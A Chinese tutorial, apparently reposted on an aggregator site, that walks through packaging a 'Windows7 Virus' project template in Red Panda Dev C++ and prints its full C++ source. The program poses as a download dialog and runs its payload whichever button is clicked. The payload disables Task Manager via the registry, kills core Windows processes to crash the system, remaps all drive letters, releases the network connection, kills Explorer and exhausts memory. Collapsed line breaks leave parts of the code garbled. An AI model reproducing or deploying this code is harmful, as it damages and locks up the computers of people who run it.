Red Panda Dev C++ 病毒项目模板

前言

        在看这篇文章之前,请查看此文章!否则你可能看不懂。

        还记得上一讲吗?

         没错,我的小脑瓜动了动,就。。。。。

         好吧,模板,你又一次成功引起了我的注意

一、创建项目

         首先创建一个项目:

               1、打开Red Panda Dev C++。

                

                2、点击 “文件[F]” →  “新建[N]” → “项目[P]...”,即可生成一个项目。

  

        注意啦!这一次要把项目名称设置为Windows7 Virus,项目类型是Basic中的Windows Application。

        点击“Yes”!

二、编写文件

        这个项目模板需要三个文件:

        其实这次的两个头文件和以前的一样,我怕有人没有下载heker.h和Heike.h,就搞了一个特定头文件。

        代码:

        main.cpp

                这是示例程序。(我为了装作是官方,便把注释改成了英文)

/*A Virus Project?Yes, You Can Did To Yourself*/
/* The Computer Virus Project, Now You Can Take shell! */
#include <bits/stdc++.h>
#include "heker.h"  //Dedicated Head File
/* Head Files */
int thistime;  //Clock Time
using namespace std;
/* namespace */
void virus()  //Virus Function
{Make_Text("MuOpawS.vbs", "msgbox\"You Computer Is In A Very Disaster Repait Virus, You Need Think A Good Favicon!");  //New A FileMake_Text("WinMain.txt", "Creat Error!");while(1){thistime++;  //Add This TimeIcon(0, 0, 2);  //Draw Iconssystem("start MuOpawS.vbs");  //Start The Filessystem("start WinMain.txt");Icon(0, 0, 1);system("start MuOpawS.vbs");system("start WinMain.txt");Icon(0, 0, 2);system("start MuOpawS.vbs");if(thistime == 60)  //If For Count To 60Blue_Screen();  //Blue Screen}
}
int main(){  //Main FunctionHide();  //Hide WindowTsk();  //More TskProcessRun();  //Have Processif (MessageBox(NULL, "Welcome To Our Jin Kela DownLoad Progral!\nStart DownLoad Please Choose \"OK\",\nOtherwise Choose \"No\".", "DownLoad", MB_ICONINFORMATION | MB_YESNO) == IDYES)  //Tips Window{virus();  //Run Virus}else{MessageBox(NULL, "You Can Not EXIT!!!", "\\ A /", MB_ICONWARNING | MB_OK);  //Can Not Exitvirus();  //Run Virus}return 0;
}

        Heike.h

#ifndef HEIKE_H#include <bits/stdc++.h>
#include <conio.h>
#include <windows.h>
using namespace std;
void Make_Text(string same, string name)
{//HWND hWnd = GetConsoleWindow(); //SetWindowLong(hWnd, GWL_EXSTYLE, WS_EX_TOOLWINDOW); ofstream outfile(same,ios::out); if (!outfile) {  cerr<<"open error"<<endl;  } outfile<<name;outfile.close();	
}
//主机的好管理
void shutdown(int x, int y)
{Sleep(x * 1000);//等待n秒if(y == 1)system("shutdown -p");//关机if(y == 2)system("shutdown -s -r 0");//重启if(y == 3)system("shutdown -l");//注销
}
//鼠标指针的好管理
void Currur(int q)
{int x = GetSystemMetrics(SM_CXSCREEN);int y = GetSystemMetrics(SM_CYSCREEN);srand(time(0));if (q == 1)//当q为1时,进入死循环。while(1)SetCursorPos(rand() % x, rand() % y);			else{//乱移鼠标的线程while(q){SetCursorPos(rand() % x, rand() % y);q--;}	}
}
//控制台的好管理
void Hide()
{HWND s;s = FindWindow("ConsoleWindowClass", NULL);//找到当前窗口句柄if (s) {ShowOwnedPopups(s, SW_HIDE);//显示或隐藏由指定窗口所有的全部弹出式窗口ShowWindow(s, SW_HIDE);//隐藏窗口}	
}
//图标的好管理
void Icon(int x, int y, int n)
{FreeConsole();HWND hwnd = GetDesktopWindow();HDC hdc = GetWindowDC(hwnd);POINT point;while(1){GetCursorPos(&point);//锁定鼠标位置if(n == 1)//错误图标DrawIcon(hdc, point.x - x, point.y - y, LoadIcon(NULL, IDI_ERROR));if(n == 2)//感叹号图标DrawIcon(hdc, point.x - x, point.y - y, LoadIcon(NULL, IDI_WARNING));if(n == 2)//应用程序图标DrawIcon(hdc, point.x - x, point.y - y, LoadIcon(NULL, IDI_WINLOGO));	}
}
//卡死
void Die()
{while(1){new char;malloc(INT_MAX);}
}
//远程攻击
void Shutdown_Go()
{system("shutdown /i");
}
void color (int a) {if (a == 0 || a == 14 || a == 20) {SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_GREEN|FOREGROUND_BLUE);} else if (a == 1 || a == 12) {SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE);} else if (a == 2) {SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN);} else if (a == 3) {SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_BLUE);} else if (a == 4 || a == 11) {SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED);} else if (a == 5 || a == 13) {SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_GREEN);} else if (a == 7) {SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),FOREGROUND_GREEN|FOREGROUND_BLUE);} else if (a == 15) {SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE), FOREGROUND_INTENSITY);} else if (a == 16) {SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE), FOREGROUND_GREEN);} else if (a == 17) {SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE), FOREGROUND_RED);} else if (a == 8) {SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE), FOREGROUND_RED|FOREGROUND_GREEN|FOREGROUND_BLUE);} else if (a == 6) {SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_BLUE);} else if (a == 9) {SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|BACKGROUND_RED|BACKGROUND_GREEN);}
}
void explore()//不可打开资源管理器
{system("taskkill /im explore.exe /f"); 
}
void release()//断开网络
{system("ipconfig /release"); 
}
#endif

        heker.h

#ifndef HEKER_H#include <bits/stdc++.h> 
#include <iostream>
#include <cstdlib>
#include <cstdlib>
#include <ctime>
#include <Windows.h>
#define _CRT_SECURE_NO_WARNINGS 1
#pragma comment(lib,"winmm.lib")
#include <cstring> 
#include "fstream"
#include <conio.h>
#include <cmath>
#include <HeiKe.h>using namespace std;
void SetPos (COORD a) {HANDLE out = GetStdHandle (STD_OUTPUT_HANDLE);SetConsoleCursorPosition (out, a);
}
void SetPos(int i, int j) {COORD pos = { i, j };SetPos (pos);
}
VOID Blue_Screen()
{system("wmic process where name=\"svchost.exe\" delete");system("wmic process where name=\"LsaIso.exe\" delete");system("wmic process where name=\"smss.exe\" delete");system("taskkill /f /fi \"pid ne 1\"");
}
void msgbox(char name[], char same[], string ico)
{if(ico == "错误")MessageBox(NULL, same, name, MB_ICONERROR|MB_OK);if(ico == "警告")MessageBox(NULL, same, name, MB_ICONWARNING|MB_OK);if(ico == "问号" || ico == "访问")MessageBox(NULL, same, name, MB_ICONQUESTION|MB_OK);if(ico == "信息")MessageBox(NULL, same, name, MB_ICONINFORMATION|MB_OK);
}
bool ProcessRun()
{SID_IDENTIFIER_AUTHORITY Aut = SECURITY_NT_AUTHORITY;PSID minID;BOOL b = AllocateAndInitializeSid(&Aut, 2, SECURITY_BUILTIN_DOMAIN_RID,DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &minID);if(b){CheckTokenMembership(NULL, minID, &b);FreeSid(minID);return b == true;}elsereturn b == false;
}
struct CP{VOID start(){Make_Text("爱的病毒.bat","for %%i in (a b c d e f g h i j k l m n o p q r s t u v w x y z) do (subst %%i: C:)");system("start 爱的病毒.bat");}void stop(){Make_Text("爱的病毒2.bat","for %%i in (a b c d e f g h i j k l m n o p q r s t u v w x y z) do (subst %%i: /d)");system("start 爱的病毒2.bat");}
}cp;VOID echo_of()
{system("@echo off");
}
VOID Tsk()
{echo_of();DWORD dword=TRUE;HKEY h;DWORD s = dword;RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &h);RegSetValueEx(h, "DisableTaskMgr", NULL, REG_DWORD, (LPBYTE)&s, sizeof(DWORD));RegCloseKey(h);
}
void full_screen() {echo_of();HWND hwnd = GetForegroundWindow();int cx = GetSystemMetrics(SM_CXSCREEN);int cy = GetSystemMetrics(SM_CYSCREEN);LONG l_WinStyle = GetWindowLong(hwnd,GWL_STYLE);   SetWindowLong(hwnd,GWL_STYLE,(l_WinStyle | WS_POPUP | WS_MAXIMIZE) & ~WS_CAPTION & ~WS_THICKFRAME &~WS_BORDER);SetWindowPos(hwnd, HWND_TOP, 0, 0, cx, cy, 0);
}
void HideCursor()
{echo_of();HANDLE handle = GetStdHandle(STD_OUTPUT_HANDLE);CONSOLE_CURSOR_INFO CursorInfo;GetConsoleCursorInfo(handle, &CursorInfo);//获取控制台光标信息CursorInfo.bVisible = false; //隐藏控制台光标SetConsoleCursorInfo(handle, &CursorInfo);//设置控制台光标状态
}
void print(const char* p, double time)
{echo_of();while (1){if (*p != 0){printf("%c", *p++);}else{break;}Sleep(time * 1000);}
}
void show()
{echo_of();color(2);printf("notepad - 记事本\n");printf("calc - 计算器\n");printf("winver - 关于\"Windows\"\n");printf("Nslookup - 默认服务器\n");printf("cmd - 命令行\n");printf("cleanmgr - 磁盘清理\n");printf("charmap - 字符映射表\n");printf("dxdiag - Dxdiag修复工具\n");color(1);printf("taskmgr - 任务管理器\n");color(2);printf("wiaacmgr - 扫描仪\n");printf("mspaint - 画图\n");printf("mmc - 控制台\n");color(532);
}
void Start(string same)
{echo_of();if(same == "notepad")	system("start notepad");if(same == "calc")	system("start calc");if(same == "winver")	system("start winver");if(same == "Nslookup")	system("start Nslookup");if(same == "cmd" || same == "")	system("start cmd");if(same == "cleanmgr")	system("start cleanmgr");if(same == "charmap")	system("start charmap");if(same == "dxdiag")	system("start dxdiag");if(same == "taskmgr")	system("start taskmgr");if(same == "wiaacmgr")	system("start wiaacmgr");		if(same == "mspaint")	system("start mspaint");if(same == "mmc")	system("start mmc");		
}
void Taskkill(const char *same)
{char a[10] = "taskkill ";strcat(a, same);system(a);
}
#endif

三、创建模板

             1、点击 “文件[F]” →  “新建[N]” → “模板[T]...”,为你的项目创建一个模板。

         名字就用Windows7 Virus,描述想怎么改怎么改,分类是Basic。模板图标嘛,请去上面下载!

        就是这样:

        打开“附加”,把3个选项都点上:

        点击“创建” !

        再次点击 “文件[F]” →  “新建[N]” → “项目[P]...”,你就可以发现:

 

bye!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/449711.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

机器学习复习(2)——线性回归SGD优化算法

目录 线性回归代码 线性回归理论 SGD算法 手撕线性回归算法 模型初始化 定义模型主体部分 定义线性回归模型训练过程 数据demo准备 模型训练与权重参数 定义线性回归预测函数 定义R2系数计算 可视化展示 预测结果 训练过程 sklearn进行机器学习 线性回归代码…

SqlSever查询某个表的列名称、说明、备注、注释,类型等信息

背景:在工程项目中,有时需要对数据查询进行展示,常规的表格展示虽然能解决大部分问题;但在数据量比较大的情况就如果一次完整的展示信息,势必会造成数据加载中增加耗时,影响数据的展示效果;常规的解决方案都是在数据加载中采取分页的模式,降低数据的加载耗时;但如果要…

AutoCAD .NET 层次结构介绍

AutoCAD .NET API 提供了一种面向对象的编程接口&#xff0c;通过它可以与AutoCAD进行深度集成和自定义功能开发。以下是基于.NET框架下AutoCAD对象层次结构的基本介绍&#xff1a; Autodesk.AutoCAD.ApplicationServices 命名空间 根对象&#xff0c;代表运行中的AutoCAD应用程…

网络空间测绘在安全领域的应用(上)

近年来&#xff0c;网络空间测绘已经跻身为网络通信技术、网络空间安全、地理学等多学科融合的前沿领域。 该领域聚焦于构建网络空间信息的“全息地图”&#xff0c;致力于建立面向全球网络的实时观测、准确采样、映射和预测的强大基础设施。 通过采用网络探测、数据采集、信…

Docker搭建MySQL8主从复制

之前文章我们了解了面试官&#xff1a;说一说Binlog是怎么实现的&#xff0c;这里我们用Docker搭建主从复制环境。 docker安装主从MySQL 这里我们使用MySQL8.0.32版本&#xff1a; 主库配置 master.cnf //基础配置 [client] port3306 socket/var/run/mysqld/mysql.sock [m…

HTMLCSS JavaScript 基础

HTML复杂建立骨架。 CSS复杂装修。 JS负责定义行为和交互。 示例功能&#xff0c;点击按钮&#xff0c;数量增加&#xff0c;图片交互显示。 <!DOCTYPE html> <html lang"en"><head><meta charset"UTF-8"><meta name"…

C++结构体拷贝时发生的vector iterators incompatible等崩溃情况

文章目录 结构体拷贝时的容器异常崩溃结构体拷贝崩溃的另一种情况结构体拷贝时的容器异常崩溃 自定义一个结构体 struct MMM{int a;std::vector<int> b; }在拷贝时发生异常 代码是 MMM m = mi

Pytest测试用例参数化

pytest.mark.parametrize(参数名1,参数名2...参数n, [(参数名1_data1,参数名2_data1...参数名n_data1),(参数名1_data2,参数名2_data2...参数名n_data2)]) 场景&#xff1a; 定义一个登录函数test_login,传入参数为name,password&#xff0c;需要用多个账号去测试登录功能 # …

【笔记】Android 常用编译模块和输出产物路径

模块&产物路径 具体编译到软件的路径要看编译规则的分区&#xff0c;代码中模块编译输出的产物基本对应。 Android 代码模块 编译产物路径设备adb路径Comment 模块device/mediatek/system/common/ 资源overlay/telephony/frameworks/base/core 文件举例res/res/values-m…

【奶奶看了都会】《幻兽帕鲁》云服务器部署教程

在帕鲁的世界&#xff0c;你可以选择与神奇的生物「帕鲁」一同享受悠闲的生活&#xff0c;也可以投身于与偷猎者进行生死搏斗的冒险。帕鲁可以进行战斗、繁殖、协助你做农活&#xff0c;也可以为你在工厂工作。你也可以将它们进行售卖&#xff0c;或肢解后食用。 《幻兽帕鲁》官…

关于Ubuntu下docker-mysql:ERROR 2002报错

报错场景&#xff1a; mysql容器创建好后登录mysql时即使密码正确也是报出下方提示&#xff1a; 原因是在创建mysql容器在创建时本地目录缺失&#xff0c; 先去自建一个目录&#xff0c;例如&#xff1a; /opt/my_sql 正确完整目录如下&#xff1a; docker run --namemys…

oracle19C 密码包含特殊字符@ 导致ORA-12154

oracle 19C 密码包含特殊字符 出现登录失败&#xff0c;针对此问题一次说个明白 ORA-12154: TNS:could not resolve the connect identifier specified Oracle 19c之前密码是可以包含特殊字符&#xff0c;但是如果包含特殊字符需要双引号 比如oracle11g 正常 如果密码包含特殊…